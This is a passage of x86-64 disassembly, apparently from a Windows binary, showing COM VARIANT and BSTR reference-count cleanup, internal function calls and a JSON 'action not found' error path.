mov qword [rsp + 0xe78], rax
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x818]
call fcn.140001cb0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ad58]
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x828]
call fcn.140039ca4
nop
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.140001d7c
nop
mov rcx, qword [rsp + 0x828]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x838], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053384
mov rdx, qword [rsp + 0x838]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov r13, qword [rsp + 0x48]
jmp 0x1400533a5
mov rcx, qword [rsp + 0x150]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x490], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xe88], rax
test rax, rax
jne 0x1400533cf
call fcn.140001fb4
mov qword [r14 + 8], rax
mov r15d, 8
mov word [r14], r15w
mov rcx, qword [rsp + 0x150]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x858], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005355b
mov rdx, qword [rsp + 0x858]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14005355b
mov r15d, esi
mov dword [rsp + 0xb8], esi
or dword [rsp + 0xc0], 0xffffffff
test rbx, rbx
je 0x1400534ce
mov r9, rbx
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xc0]
call fcn.14003a47c
mov r13b, al
mov byte [rsp + 0x8a], al
mov ecx, dword [0x14019fd80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0x6bca1af3
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x13
sub r8d, edx
cmp r8d, 7
jne 0x1400534b2
lea ecx, [r8 - 3]
call fcn.1400b97c8
mov rbx, rax
mov qword [rsp + 0xe98], rax
call fcn.1400b99c8
mov dword [rbx], eax
mov dword [0x14019fd80], eax
mov rcx, rbx
call fcn.1400b8ff4
cmp dword [rsp + 0xc0], 0xffffffff
je 0x140053533
mov r15d, dword [rsp + 0xc0]
mov dword [rsp + 0xb8], r15d
jmp 0x14005352e
lea rax, [rsp + 0x868]
mov qword [rsp + 0xea8], rax
lea rdx, [0x14012e2f8]
lea rcx, [rsp + 0x868]
call fcn.140001cb0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x14019ad58]
lea r8, [rsp + 0xd8]
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0xb8]
call fcn.14003a7b8
mov r13b, al
mov byte [rsp + 0x8a], al
mov r15d, dword [rsp + 0xb8]
cmp r15d, esi
jne 0x140053549
test r13b, r13b
jne 0x140053549
mov word [r14 + 8], di
mov r15d, 0xb
mov word [r14], r15w
jmp 0x140053556
mov dword [r14 + 8], r15d
mov eax, 0x16
mov word [r14], ax
mov r13, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x120]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x878], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x14005358e
mov rdx, qword [rsp + 0x878]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xd8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x888], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400535c7
mov rdx, qword [rsp + 0x888]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400535c7
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x338]
call fcn.1400029b8
nop
lea rdx, [rsp + 0x338]
mov rcx, qword [r13 + 0x40]
call fcn.1400495d0
nop
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x898], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x140053669
mov rdx, qword [rsp + 0x898]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2ed8], 0x10
jb 0x140053681
mov rcx, qword [rsp + 0x2ec0]
call fcn.1400b8ff4
mov qword [rsp + 0x2ed8], r15
mov qword [rsp + 0x2ed0], rdi
mov byte [rsp + 0x2ec0], dil
mov rcx, qword [rsp + 0x80]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x8a8], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
add eax, esi
test eax, eax
jg 0x1400536cc
mov rdx, qword [rsp + 0x8a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140016318
nop
lea rcx, [rsp + 0x68]
call fcn.14002d0d8
nop
mov bl, byte [rsp + 0x40]
mov r13, qword [rsp + 0x48]
jmp 0x140053711
test bl, bl
jne 0x14005371a
test r14, r14
je 0x14005371a
mov word [r14], r12w